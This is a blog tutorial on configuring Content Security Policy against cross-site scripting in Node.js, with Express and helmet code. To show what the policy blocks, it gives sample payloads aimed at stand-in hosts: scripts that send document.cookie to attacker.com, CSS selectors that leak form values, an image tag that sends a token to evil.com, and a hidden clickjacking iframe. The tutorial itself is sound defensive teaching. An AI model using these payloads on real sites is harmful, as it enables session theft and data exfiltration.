DEV Community: Marouane Souda

Content Security Policy (CSP) And How to Configure it Against XSS in Node.js

Marouane Souda — Wed, 30 Jul 2025 15:54:47 +0000

Cross-Site Scripting, or XSS for short, is a type of injection attack where an attacker injects malicious code into a website, often through input fields, causing it to execute as if it were part of the site's legitimate code.

Here's a basic example to illustrate how XSS works:

Suppose you have a social media app where users can comment on each other's posts. An attacker
can submit a comment like:
"<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>"

Here is a cleaner presentation of the "comment" above:

<script>
  fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>

If your application renders that comment without proper sanitization or escaping, the script will run in the browser
of any user who views it, sending sensitive data like session cookies to the attacker's malicious server.

Note: If the website sets cookies with the HttpOnly flag, they can't be accessed via JavaScript, even if an XSS vulnerability exists. In our example, I will assume that HttpOnly is not set.

This could allow the attacker to impersonate the user or access sensitive data.

XSS attacks typically exploit weaknesses in how a website handles user input. If user-provided data is not properly validated or escaped, it can be treated as executable code rather than plain text. This opens the door for attackers to sneak malicious JavaScript into seemingly harmless input fields, like comment forms, chat boxes, or profile descriptions.

The impact of XSS can be severe. These scripts can:

Steal cookies and session tokens.
Log keystrokes and capture sensitive input.
Redirect users to malicious websites.
Perform actions on behalf of the user (like changing passwords or sending messages).

There are many good, tried-and-tested methods of defending against XSS, like:

Escaping or sanitizing user input.
Validating input on both client and server.
Using secure frameworks and libraries that handle encoding automatically.

One particularly powerful mitigation technique, which you should definitely implement in your website, is Content Security Policy (CSP).

What is Content Security Policy?

According to MDN:

Content Security Policy is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things that the code comprising the site is allowed to do.

Source: MDN Web Docs, licensed under CC-BY-SA 2.5.

CSP is a browser-based security standard designed to reduce the risk of XSS and other code injection attacks by specifying which sources of content are allowed to load and execute on your website.

It is a crucial security feature in modern web development, not just because it protects against a wide range of digital threats, but also because it was specifically designed to prevent inline script execution, a primary vector for Cross-Site Scripting.

In XSS context, you can configure CSP to allow scripts only from your own origin, effectively blocking inline scripts and any scripts loaded from untrusted external sources, which can block many common XSS attacks, especially those relying on inline scripts or
untrusted external sources.

If the attacker tries to submit the same "comment" mentioned earlier:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

It won't work because the browser isn't allowed to load and execute inline scripts.

CSP acts as a whitelist for trusted sources of scripts and other resources. If you configure it correctly, the browser will simply block the user's script from executing, because it is not included in the permitted list of sources the browser is allowed to load scripts from.

Content Security Policy And Same-Origin Policy

Most browsers already enforce the Same-Origin Policy (SOP) by default. This means a script on one origin can't access data on another origin, protecting against cross-site attacks like CSRF or cross-origin data leaks.

However, SOP does not stop malicious scripts running from within your own origin, such as those injected by an attacker via an XSS vulnerability. That’s where Content Security Policy steps in: it helps prevent those scripts from executing at all.

How Does Content Security Policy Work?

CSP is delivered via HTTP headers or HTML <meta> tags, although headers are preferred for security (I'll explain why later).

To see how CSP works, let's check an example of a Content-Security-Policy header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com;

Here's a brief breakdown of what this header means:

default-src 'self': by default, only load content (like images, fonts, etc.) from the same origin as your website.
script-src 'self' https://apis.example.com: allow JavaScript to run only if it comes from your own site or from https://apis.example.com.

This CSP allows resources only from your domain ('self'), but scripts can be loaded from a trusted third-party API (https://apis.example.com) as well. Anything else (scripts from unknown sources, inline scripts, or eval() calls) will be blocked.

Content Security Policy Header Anatomy

In the example above, the header is made up of directives (like default-src and script-src), each followed by one or more allowed sources (like 'self' https://apis.example.com for script-src) separated by spaces.

Each directive with its allowed sources forms a policy, and multiple policies are separated by semicolons.

I’ve explicitly set the policy for scripts, while other content types default to being restricted to my own origin. However, CSP offers many more directives that give you fine-grained control over where different types of content can be loaded from.

`script-src` in Detail

script-src controls which JavaScript sources are allowed to load and execute in the browser, acting as a powerful gatekeeper between your website and potentially malicious scripts.

Since JavaScript is the primary vector for Cross-Site Scripting (XSS) attacks, script-src is the most critical directive for defense against XSS attacks. That's why I’ll be spending considerably more time on this directive than on any of the others.

script-src supports a range of values that define what sources are considered safe. Below are the most commonly used options, along with a brief explanation of what they do:

'none': Blocks all scripts from loading.
'self': Allows scripts to be loaded from the same origin (your own domain).
Specific URLs (https://cdn.example.com): Allows scripts from a specific trusted third-party source.
'nonce-<random>': Allows inline script blocks (<script>) only if they include a nonce, a cryptographic random string that changes on every request.
<scheme>:: Allows scripts over the specified protocol (https:, http:).
'sha256-<hash>': Allows inline script blocks (<script>) whose hashed content matches the hash set in <hash>.
'unsafe-hashes': Allows scripts inside event handler attributes (like onclick) whose hashed content matches the hash set in <hash>.
'strict-dynamic': Allows scripts dynamically added by other trusted scripts, which themselves must be nonce- or hash-based.
'unsafe-inline': Allows any inline script, whether <script> tags or onclick/onload handlers, to run.
'unsafe-eval': Allows the use of eval(), Function() constructor, and similar. Very unsafe.

Some values, like 'none' and 'self', are pretty straightforward. So instead of covering all of them, I’ll focus on the more confusing or less obvious ones to help clarify how they work and when to use them.

Specific URLs (`https://cdn.example.com`)

This specifies the exact URL (or URLs) the browser is allowed to load scripts from.

In:

Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.example.com

Only our scripts and those whose src value is https://apis.example.com can be loaded and executed.

You are not limited to just one URL by the way, you can add more if you host your scripts on more than one CDN for example.

You also have the option to match all origins with a wildcard *, but this is strongly discouraged, because it opens your site to potential script injection from anywhere. Always prefer explicitly listing trusted sources!

About subdomains

Keep in mind that subdomains are not automatically included when you specify a URL. For example, if you set https://example.com
as a trusted source, it does not mean that https://cdn.example.com is trusted as well.

If you want to allow both, you'll have to list them explicitly, like this:

script-src 'self' https://example.com https://cdn.example.com

If you need to match all subdomains of an origin, use the wildcard * in the place for the subdomain, like this: *.example.com. This will match all subdomains of example.com (like cdn.example.com or scripts.example.com).

`'nonce-<random>'`

One of the key strengths of Content Security Policy (CSP) is its default behavior of blocking inline scripts, which are a common vector for XSS attacks.

By default, CSP blocks things like:

Inline <script> tags.
JavaScript in event handlers (like onclick).
Functions like eval().

This means that unless you explicitly allow them, these types of scripts won’t run. That includes malicious scripts injected into places like comment fields or user inputs.

So how can you let your own inline scripts run while still blocking anything suspicious? That’s where nonces come in.

What’s a Nonce?

A nonce (short for number used once) is a random, unique string generated by your server for each page request. You add this nonce to your CSP header and also to each inline script tag you want to allow.

Any inline script block should have that nonce as an attribute, like this one:

<script nonce="abc123">console.log("Safe inline script");</script>

If the nonce on the script tag matches the one the browser received in the CSP header, the script is allowed to run. If it doesn’t match, or if there's no nonce at all, it gets blocked.

Since a nonce attribute with the correct nonce is required for the <script> block to run, inline JavaScript handlers and function like eval() are not permitted, as they have no way to include or use the nonce. A nonce only works for inline <script> blocks.

Why This Protects You

Even if an attacker views the page source and sees the nonce value, they can’t reuse it in a malicious payload, because that nonce is unique to that specific page load (request), which means other users will have different nonces. So an injected script with the wrong nonce will fail silently in other users’ browsers.

This mechanism makes it nearly impossible for an attacker to sneak a working inline script into your site.

`'sha256-<hash>'`

Another option to secure your inline script blocks is to use a hash instead. Here's how this works:

You take the inline script's content, and hash it with a secure hashing algorithm, like sha-256.
Now, the content of every inline script will be hashed, and the result will be compared to the hash that you set in the CSP header.
If they don't match, the script will be rejected.

This option is very strict and secure. You don't need a nonce generator, which saves you server costs, plus it's ideal for fixed inline scripts, like in static pages.

Of course, since the hashes themselves are generated from the content of the inline scripts, you must recalculate the hashes every time content changes, which makes this approach tedious to manage.

Also, hashing is a computationally expensive task, which makes it not practical for large inline blocks.

By the way, SHA-256 is just one option. You can use SHA-384 or SHA-512 as well.

`'unsafe-inline'`

This option permits all inline script execution (inline <script> tags, JavaScript in event handlers and eval()), which makes your application vulnerable to XSS attacks.

The only reason you'll ever need to use 'unsafe-inline' is in legacy systems.

Here is a longer explanation: In older or poorly maintained web applications, it's common to find inline <script> tags directly in the HTML like:

<script>alert('hello');</script>

Or JavaScript inside HTML attributes:

<button onclick="submitForm()">Submit</button>

To make these applications CSP-compliant without 'unsafe-inline', you'd need to move all inline <script> blocks into external JS files or add nonces, and replace inline event handlers with proper JS listeners in separate files, which can be a huge amount of work for large, old codebases, especially when:

There’s little or no test coverage.
The inline scripts are spread across hundreds of pages.
Refactoring risks breaking the site.

So in these cases, you might temporarily use 'unsafe-inline' as a stopgap until the app can be modernized.

Otherwise, avoid it at all costs, and stick to proper CSP protection options.

`'unsafe-hashes'`

'unsafe-hashes' is a sort of middle ground between using secure script hashes and falling back to 'unsafe-inline'.

As I explained before, using a hash like 'sha256-<hash>' works for inline <script> blocks, but not for inline JavaScript in HTML attributes like onclick, onload, etc.

This is where 'unsafe-hashes' comes in. When included in your script-src directive, it allows the browser to run inline event handlers only if their hashed content matches a valid hash that you’ve explicitly defined in 'sha256-<hash>'.

In short, 'unsafe-hashes' is safer than 'unsafe-inline' because it only allows inline event handlers whose hashed content exactly matches pre-approved hashes, while also extending the capabilities of 'sha256-<hash>' by supporting these inline handlers.

However, it is still not as safe as avoiding inline JavaScript altogether.

`'strict-dynamic'`

This allows scripts dynamically added by other trusted scripts (which themselves must be nonce- or hash-based).

It's a value that trusts scripts loaded by other trusted scripts, even if those new scripts come from domains not explicitly listed in the policy.

Dynamically loaded scripts are JavaScript files added to the page after it loads, typically using JavaScript code like:

const s = document.createElement('script');
s.src = 'https://cdn.untrusted.com/extra.js';
document.head.appendChild(s);

Without 'strict-dynamic', CSP blocks that dynamically added script unless its URL is explicitly listed.

Since 'strict-dynamic' allows loading content from unknown, dynamically loaded scripts, the primary script must be safe and secure. That's why a nonce or a hash must be set with 'strict-dynamic'.

You can't set a CSP header like this:

Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' https://apis.example.com

The above header will not have the desired effect, and dynamically added script will still be blocked from running, because no nonce or hash is present.

Also to be aware of: 'strict-dynamic' makes static URLs redundant. If you set both 'strict-dynamic' and static URLs, the browser ignores the URLs. So, even though you've set https://apis.example.com as an allowed origin in the header above, it will still be blocked from being executed.

One reason you might set both of them is to support older browser who might not support 'strict-dynamic'.

Other Common CSP directives

I already showed you two directives: script-src and default-src, but there are many others that give us more flexibility in setting up our policy and improving security.

CSP is composed of directives, each controlling a specific type of resource. Here are some of the most commonly used ones:

Directive	What It Controls
`default-src`	Default policy for loading all content types
`script-src`	JavaScript
`style-src`	CSS and inline styles
`img-src`	Images
`font-src`	Fonts
`connect-src`	connections using `fetch()`, WebSocket, EventSource, etc.
`media-src`	Audio and video
`frame-src`	Sources allowed to be embedded in `<iframe>`
`frame-ancestors`	Who is allowed to embed your site in a frame
`base-uri`	Where the `<base>` HTML tag can point
`report-uri`	Which URL to send report violations to (deprecated)
`report-to`	Replaced `report-uri` in CSP level 3

Let's take a look at some of those directives in more detail:

`style-src`

Controls which CSS styles the browser is allowed to load and apply.

It determines where styles can come from, such as external stylesheets, inline styles, or styles with specific hashes, to help protect against style-based injection attacks.

Here is a table displaying the values style-src can take:

Value	Description
`'self'`	Allows styles from the same origin (your own server).
`<URL>`	Allows stylesheets from specific domains (like `https://cdn.example.com`).
`'nonce-xyz'`	Allows inline `<style>` blocks only if they have a matching `nonce`.
`'sha256-abc...'`	Allows `<style>` blocks based on the hash of their contents.
`'unsafe-hashes'`	Allows certain inline styles with matching hashes.
`'unsafe-inline'`	Allows all inline styles (style tags and style attributes).

As you can see, all values valid for script-src are also valid for style-src, except for 'strict-dynamic', which is exclusive to script-src. These values behave the same way in both directives, with one small nuance.

'sha256-<hash>' allows <script> and <style> blocks based on the hash of their content, and but the browser will ignore inline styles and JavaScript handlers:

For scripts: It is event handlers like onclick, onchange, etc.
For styles: It is inline styles written directly using the HTML style attribute.

For example, the following inline style would be blocked even if its hash matches:

<button style="color: blue;">Click here</button>

To allow inline styles like this without resorting to 'unsafe-inline', you must include 'unsafe-hashes' in your policy. This tells the browser to allow inline styles only if their content hashes match a provided 'sha256-<hash>' value, exactly like with script-src.

CSS And XSS

While CSS can't directly access or send data like JavaScript can, it can be abused to trigger HTTP requests based on certain conditions, effectively turning styles into a data-leaking side channel.

For example, attackers can use CSS attribute selectors to detect specific values in the DOM (like usernames, tokens, or user-entered text), and then combine those with background-image: url() or similar CSS properties to secretly trigger a request to an external server.

Imagine a form like this:

<input type="text" name="email" value="user@example.com" />

An attacker can inject the following malicious CSS into the page (perhaps through an unsanitized <style> block):

input[value^="us"] { background-image: url("https://attacker.com/leak?char=us"); }
input[value^="use"] { background-image: url("https://attacker.com/leak?char=use"); }
input[value^="user"] { background-image: url("https://attacker.com/leak?char=user"); }

Here's what this does: The input[value^="us"] selector matches any input whose value starts with "us". If the match is successful, the browser will attempt to load the background image
from https://attacker.com/leak?char=us. That request is sent without the user's knowledge, effectively leaking data to the attacker.

Each time one matches, the browser leaks another request to the attacker’s server. Using this, they can reconstruct the entire email or token, one character at a time.

By crafting multiple selectors and requests, attackers can infer or "brute-force" sensitive data from form fields, one character at a time.

This is called a CSS-based side-channel attack or CSS exfiltration.

To prevent this kind of attack, a well-configured Content Security Policy should restrict style-src and img-src to trusted domains. For example:

Content-Security-Policy: style-src 'self'; img-src 'self';

This policy not only controls where stylesheets can be loaded from, but also where images referenced within CSS (such as through url()) can be loaded. By restricting both style-src and img-src to 'self', it limits styles and images to those hosted on our own server, shutting down the data-leaking
channel.

Recommendations

Use external stylesheets from trusted sources only.
Avoid 'unsafe-inline', as it allows arbitrary inline CSS and is a major security risk.
Use CSP hashes or nonces for inline styles instead of 'unsafe-inline'.
Use 'unsafe-hashes' with a valid hash if you need to allow specific inline styles (like in HTML style attributes), without opening up to all inline styles.
Avoid wildcards * to prevent loading styles from unknown or dynamic third-party sources.

`img-src`

Controls which sources images can be loaded from. It helps prevent attackers from loading or leaking data through unauthorized image URLs.

Here are the possible values img-src can take:

Value	Description
`'none'`	Blocks all image loading
`'self'`	Allows images from your own origin
`<URL>`	Allows images from specific trusted domains
`data:`	Allows loading images encoded as `data:` URIs (inline base64)
`blob:`	Allows blob-based image sources (used by JS-generated URLs)
`filesystem:`	No longer widely supported; avoid

The data: and blob: schemes are valid sources in CSP, and while they can technically be used with directives like script-src and style-src, they're most commonly used with img-src.

These schemes are often used to embed images directly into HTML (by using URL.createObjectURL() for example) or base64-encoded data.

For example, using a base64-encoded image:

<img src="data:image/png;base64,..." />

Images And XSS

Images can't execute JavaScript, but their best use case is data exfiltration. Take this code for example:

<img src="https://evil.com/log?data=stealThisToken" style="display:none" />

The attacker uses the src attribute of <img> tag to send your token to his/her server.

Notice that the request is purely outbound. It sends data to the attacker but can’t receive and run code.

Recommendations

Avoid wildcards like * and data: URLs, and restrict to trusted sources only:

Content-Security-Policy: img-src 'self' https://cdn.example.com;

If no external images are required, block them all:

Content-Security-Policy: img-src 'self';

`font-src`

Controls which sources web fonts (like .woff or .ttf files) can be loaded from.

Value	Meaning
`'self'`	Load fonts from your own origin
`<URL>`	Load from a specific external source
`data:`	Allow base64-encoded fonts embedded in CSS (rare, not recommended)
`blob:`	Allow fonts loaded via `blob:` URLs
`'none'`	Block all fonts

Recommendations

Only allow trusted font sources.

For example, if you host your own fonts or use a trusted CDN like Google Fonts:

Content-Security-Policy: font-src 'self' https://fonts.gstatic.com; style-src https://fonts.googleapis.com;

And this may sound like a broken record, but avoid using wildcards.

`connect-src`

It controls outgoing connections via fetch(), XMLHttpRequest, WebSockets, EventSource, and navigator.sendBeacon().

Value	Meaning
`'self'`	Allow connections to your own domain
`<URL>`	Allow calls to specific external APIs
`blob:`	Allow `blob:` URLs (used rarely in this context)
`'none'`	Block all outgoing connections
`wss://...` / `https://...`	You can specify protocol and domain for WebSocket/API calls

connect-src forms a second line of defense. Consider this scenario:

<script>
  fetch("https://attacker.com/log", {
  method: "POST",
  body: JSON.stringify(document.cookie)
});
</script>

If script-src wasn't properly configured, connect-src would step in and disallow the HTTP request to https://attacker.com/log if you set the exact URL (or URLs) the browser is allowed to make requests to.

So, even though script-src is essential to have, it's recommended to set up connect-src as a backup to ensure the browser can only send requests to safe, pre-approved origins.

Recommendations

Use 'self' for same-origin requests, and allow only necessary domains:

Content-Security-Policy: connect-src 'self' https://api.example.com;

`frame-src`

The frame-src directive restricts the sources of content your website can embed in an <iframe>.

Value	Meaning
URL	Allow embedding specific origin(s) like `https://www.youtube.com`
`'self'`	Allow embedding your own pages
`'none'`	Disallow all `<iframe>` embedding

It prevents your site from embedding untrusted content (and vice versa), and limits attack surfaces related to third-party content.

Its main use case is to prevent Clickjacking. Attackers can use transparent or hidden <iframe> elements to trick users into clicking on invisible buttons from another site (like "Delete Account").

This is a classic clickjacking attack.

<iframe src="https://victim-site.com/delete" style="opacity:0; position:absolute"></iframe>

frame-src helps prevent this by limiting what can be framed.

Recommendations

If your site doesn’t embed any frames, disable it entirely:

Content-Security-Policy: frame-src 'none';

If you absolutely need to embed another website, restrict it to that website only and avoid using wildcards (*):

Content-Security-Policy: frame-src 'self' https://trusted.com;

`frame-ancestors`

Unlike frame-src, this directive controls which websites are allowed to embed your site in an <iframe> or <object>.

Value	Meaning
`'self'`	Allows embedding only by the same origin
`'none'`	Your website cannot be embedded in other websites
`<URL>`	Allows only the specified origin to embed your site
`<scheme>`	Allows any origin using the specified scheme

Recommendations

Block all framing to prevent clickjacking:

Content-Security-Policy: frame-ancestors 'none';

If embedding is required, allow only trusted parent domains:

Content-Security-Policy: frame-ancestors https://partner.example.com;

`base-uri`

This directive restricts the use of the <base> HTML tag, which controls how relative URLs are resolved on your page.

The <base> tag is placed in the <head> of an HTML document and defines a base URL or a default target for all relative URLs on the page like links, scripts, images, etc.

<base href="https://example.com" />

And now, you can set the href of your <a> tags like this:

<a href="page2.html">Next</a>

Thanks to <base>, you don't have to set the whole URL in href like https://example.com/page2.html. The base URL of the entire website is configured with <base>.

If not restricted by base-uri, browsers will honor any <base> tag present in the document.

Attackers might inject a <base> tag into your HTML to redefine the base path for all relative links, like images, scripts, or anchors. This way, they can silently redirect form submissions or script requests to a malicious domain, compromising integrity or stealing data.

Value	Meaning
`'self'`	Allows the `<base>` tag to point only to the same origin
`'none'`	Disables the effect of any `<base>` tag
`<URL>`	Allows the base URI to be set to the specified origin

`report-uri`

Unlike typical directives like script-src or style-src, report-uri doesn’t actively enforce protection, it simply tells the browser where to send violation reports.

The report-uri directive in a Content Security Policy (CSP) specifies the endpoint where the browser should send violation reports if any CSP rule is violated.

For example, you can make an POST endpoint in your backend (/csp-report for example) dedicated to receiving violation reports (with the Content-Type: Application/csp-report header).

These reports are made and sent by the browser, so you don't have to do anything special at that endpoint other than send a 204 No Content response, and maybe store or log reports to analyze and detect real-world attacks or misconfigurations.

Here is a sample of a JSON payload of a violation report:

{
  "csp-report": {
    "document-uri": "https://example.com/index.html",
    "referrer": "",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "script-src 'self'; report-uri /csp-report",
    "blocked-uri": "http://malicious.com/script.js",
    "line-number": 23,
    "column-number": 5,
    "source-file": "https://example.com/index.html",
    "status-code": 200
  }
}

It has various properties, each describing specific aspect of the violated policy, like the blocked source, violated policy, page where the violation occured, etc.

In our example, script-src 'self' is the violated policy, highlighted in the violated-directive property, and http://malicious.com/script.js is the blocked source, shown in blocked-uri.

Even though report-uri enjoys widespread support, it is deprecated in CSP Level 3, in which it has been replaced by report-to, which we will look at next.

`report-to`

The report-to directive is the modern replacement for report-uri and is part of the Reporting API.
It specifies a named group where the browser should send violation reports.

Due to its limited availability (it's still not supported in Firefox), it is recommended to set both report-to and report-uri to support both new and older browsers who might not support report-to, like this:

Content-Security-Policy: default-src 'self'; report-uri /csp-report; report-to csp-group;

Notice that I didn't specify an endpoint URL for report-to, unlike for report-uri.

csp-group is the group name I talked about earlier. You specify it in either the Report-To or the newer Reporting-Endpoints header, which you must define in your backend. Both headers map the group name to a reporting endpoint.

Using `Report-To` (Legacy)

Report-To: {
  "group": "csp-group",
  "max_age": 10886400,
  "endpoints": [
    { "url": "https://example.com/csp-report" }
  ]
}

This tells the browser to send reports to https://example.com/csp-report under the csp-group group, for a period of 10886400 seconds (126 days).

It's a JSON structure and is supported by most browsers, but is being phased out.

max_age is the time (in seconds) that a browser should cache the reporting endpoint
configuration defined in the Report-To header.

Using `Reporting-Endpoints` (Modern)

Alternatively, the newer Reporting-Endpoints header provides a simpler, non-JSON format:

Reporting-Endpoints: csp-group="https://example.com/csp-report"

This defines the same group, but in a cleaner syntax. It is preferred in modern browsers and aligns with the updated Reporting API spec.

Just like with report-uri and report-to, it's recommended to include both Report-To and Reporting-Endpoints headers for maximum compatibility.

Example JSON Report Payload

The browser sends these reports as JSON via POST, this time with the Content-Type: application/reports+json header, instead of Content-Type: application/csp-report like with report-uri.

The format of the report differs from that of report-uri. Here is an example of what a JSON payload looks like for report-to:

{
  "age": 53531,
  "body": {
    "blockedURL": "http://malicious.com/script.js",
    "columnNumber": 5,
    "disposition": "enforce",
    "documentURL": "https://example.com/index.html",
    "effectiveDirective": "script-src",
    "lineNumber": 23,
    "originalPolicy": "script-src 'self'; report-to /csp-report",
    "referrer": "",
    "sample": "console.log(\"lo\")",
    "sourceFile": "https://example.com/index.html",
    "statusCode": 200
  },
  "type": "csp-violation",
  "url": "https://example.com/csp-report",
  "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
}

It has the same information held in the report made when using report-uri, but with a few differences.

Differences between `report-to` and `report-uri`

The main difference is that all information about the CSP violation is contained inside the body property. This is because report-to is used not only for CSP, but for many other types of violations, specified in the type property. Some values of type include network-error, deprecation, crash, etc.

In our example, type is set to csp-violation, which means that a CSP violation has occurred.

Like I said before, report-to integrates well with the new Reporting API. This makes it useful not just for reporting CSP violations, but all kinds of violations, which you can access through type property.

One important difference is that report-to requires a secure context, meaning your site must be served over HTTPS. Unlike report-uri, you can’t fully test report-to using plain http://localhost.

To test report-to reports in development, a common approach is to use a tunneling service like Ngrok, which provides a public HTTPS URL that forwards requests to your local server. This way, you can test report-to reporting on your local environment over HTTPS.

Just like with report-uri, you don't have to return anything from that endpoint, a 204 No Content response will do just fine. However, logging or storing these reports can provide valuable insights into attempted policy violations or misconfigurations.

Key Takeaways

'self', specific URLs, and 'none' are widely supported across directives.
Nonces, hashes, 'unsafe-inline', and unsafe-hashes are only valid for scripts and styles.
'strict-dynamic' is only valid for scripts, and only works when combined with a nonce or hash.
data: and blob: are powerful but risky. Allow only when necessary.
Do not use *. Ever!
Including invalid values in a directive won’t cause errors, but they’ll be ignored, which can silently weaken your policy.

Recommended CSP Configuration

For most directives, the general best practice is to allow self-hosted content only, using 'self', and to add specific remote origins only when absolutely necessary (like for trusted CDNs, APIs, or services your app relies on).

Set default-src to 'self' to ensure that any content type not explicitly covered by other directives will default to allowing only self-hosted resources.

Avoid using wildcards (*), and for script-src and style-src, avoid inline <script> and <style> blocks. If you absolutely need them, use nonces and hashes (and unsafe-hashes if you need to support inline styles and JavaScript event handlers like onclick).

Set frame-src to 'none' unless you embed trusted content (like YouTube or maps), in which case you can list those domains explicitly. This measure protects your users from Clickjacking attacks.

Use frame-ancestors 'none'; to prevent other websites from embedding your site in a <iframe>, which also helps defend against clickjacking attacks. If your site needs to be embedded by a specific partner or parent domain, list only that trusted domain.

Finally, use base-uri 'none'; to prevent attackers from changing the <base> tag, which could alter how relative URLs resolve and potentially lead to unexpected behavior.

Why You Should Set CSP As A Header And Not As A Meta Tag

I mentioned briefly that it's more secure to set your CSP in a header instead of a meta tag like this:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

But I didn't explain why. So, here are 3 reasons why you should configure CSP in an HTTP header:

1. Headers are enforced earlier

CSP delivered via HTTP headers is applied before any content is parsed by the browser. This means it can protect against malicious scripts even in the <head> or early <script> tags.

Meta-based CSPs, on the other hand, are only applied after the browser encounters the <meta> tag. Any inline scripts before that point will not be blocked, even if they violate the policy.

2. Meta tags can’t enforce powerful directives

Some important directives, such as frame-ancestors, report-uri, and report-to are ignored when CSP is set via a <meta> tag. These directives only work when CSP is delivered as a header, which means using a meta tag provides incomplete protection.

3. Meta tags are more vulnerable to injection

If your app is vulnerable to HTML injection, an attacker might modify or insert a <meta> tag to weaken or bypass your CSP. HTTP headers, being set server-side, are much harder for attackers to tamper with.

Always configure CSP via the Content-Security-Policy HTTP response header in your server or application framework. This ensures early, complete, and tamper-resistant enforcement of your policy.

Deploying CSP in Report-Only Mode

If you configure CSP for the first time, you may encounter multiple errors linked to CSP violations.

This can disrupt you application.

The recommended way is to set up CSP in Report-Only mode. You do that by setting up the Content-Security-Policy-Report-Only header instead of Content-Security-Policy.

They work the same way, and accept the same values. The only difference is that Content-Security-Policy-Report-Only doesn't block unallowed requests from taking place, and reports them.

Take this one for example:

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://example.com; report-uri /csp-report; report-to /csp-report;

According to the policy set in this header, inline JavaScript are prohibited, but unlike Content-Security-Policy, they won't be blocked. The browser will still process inline JavaScript and send a report to /csp-report endpoint about the inline JS violation.

Simply put, violations are reported but not enforced. This way you can observe what resources would be blocked.

Of course, this means you need to define both report-uri and report-to endpoints. Without them, Content-Security-Policy-Report-Only is ineffective, since it won’t generate any reports or provide useful feedback.

This approach is helpful for gradually tightening your CSP without breaking your application. Start with Content-Security-Policy-Report-Only to monitor violations and address any issues that are reported. Once you've resolved them and no new reports appear for a while, you can safely switch to Content-Security-Policy to actively block unwanted content.

Set Up Content Security Policy in Node.js (Express.js)

I'll set it up in two ways: manually, and using the helmet library.

Manually

import express from "express";

const app = express();

// Define the Report-To header value
const reportToHeader = JSON.stringify({
  group: "csp-group",
  max_age: 10886400, // 126 days in seconds
  endpoints: [
    { url: "/csp-report" }
  ]
});

// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="/csp-report"';

app.use((req, res, next) => {
  // Set the CSP header
  res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-report; report-to csp-group;");
  // Set the Report-To header
  res.setHeader("Report-To", reportToHeader);
  // Set the Reporting-Endpoints header
  res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
  next();
});

// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
  // Logging the report, but you can do other things with it as well, like storing it in your database
  console.log('CSP Report:', req.body);
  res.sendStatus(204);
});

app.listen(3000, () => {
  console.log("Server running on http://localhost:3000");
});

With `helmet`

helmet secures your web application by setting various security-related HTTP response headers, like Cross-Origin-Opener-Policy, Referrer-Policy, and Cross-Origin-Resource-Policy. The one header we are interested in is the Content-Security-Policy header.

There are many advantages for using helmet over manual setup, but I'll list three of them:

1. Clear and Readable Syntax

helmet makes it easy to write and read CSP policies. Instead of manually constructing a long CSP string, you use a clear object-based structure like:

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"],
    reportUri: ["/csp-report"],
    reportTo: ["csp-group"],
  }
});

Just objects, arrays and strings. This makes policies easier to read, write, and maintain.

2. Validation and Error Prevention

helmet is less error-prone: it validates your CSP configuration and helps avoid common syntax mistakes.

For example:

helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["self"] // ❌ Helmet will complain about missing quotes. It should be "'self'"
  }
});

Without helmet, you'd have to manually construct this as a string, and a small typo could silently break your policy.

3. Secure Defaults Out of the Box

Another major reason to use helmet instead of manually configuring headers is that it provides secure default values for key CSP directives, reducing the risk of misconfiguration and ensuring a solid baseline of protection against common web vulnerabilities.

You still have full control — you can override or extend individual directives while keeping Helmet’s safe defaults in place.

If you prefer to start from scratch, you can disable the defaults entirely by setting useDefaults: false, and define only the directives you want:

helmet.contentSecurityPolicy({
  useDefaults: false,
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://cdn.example.com"],
    reportUri: ["/csp-report"],
    reportTo: ["csp-group"],
  }
});

Now that we detailed why helmet is a better approach for constructing your CSP policies, let's go ahead and configure our CSP.

First, we'll install the required packages:

npm install express helmet

And then in our main server file, we'll set up the same value we set for the first example in this blog post:

import express from "express";
import helmet from "helmet";

const app = express();

// Define the Report-To header value
const reportToHeader = JSON.stringify({
  group: "csp-group",
  max_age: 10886400, // 126 days in seconds
  endpoints: [
    { url: "https://example.com/csp-report" }
  ]
});

// Define the Reporting-Endpoints header value
const reportingEndpointsHeader = 'csp-group="https://example.com/csp-report"';

// Set the CSP header
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      reportUri: ["/csp-report"],
      reportTo: ["csp-group"],
    },
  })
);

// Manually add the Report-To and Reporting-Endpoints headers
app.use((req, res, next) => {
  res.setHeader("Report-To", reportToHeader);
  res.setHeader("Reporting-Endpoints", reportingEndpointsHeader)
  next();
});

// Endpoint accepts both `application/reports+json` and `application/csp-report` to account for
// both `report-to` and `report-uri` reports
app.post('/csp-report', express.json({ type: ['application/reports+json', 'application/csp-report'] }), (req, res) => {
  // Logging the report, but you can do other things with it as well, like storing it in your database
  console.log('CSP Report:', req.body);
  res.sendStatus(204);
});

app.listen(3000, () => {
  console.log("Server running on http://localhost:3000");
});

Since helmet doesn't generate the Report-To and Reporting-Endpoints headers automatically, we had to set them manually.

To use Content-Security-Policy-Report-Only, use reportOnly: true, like this:

// Set the CSP header
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      reportUri: ["/csp-report"],
      reportTo: ["csp-group"],
    },
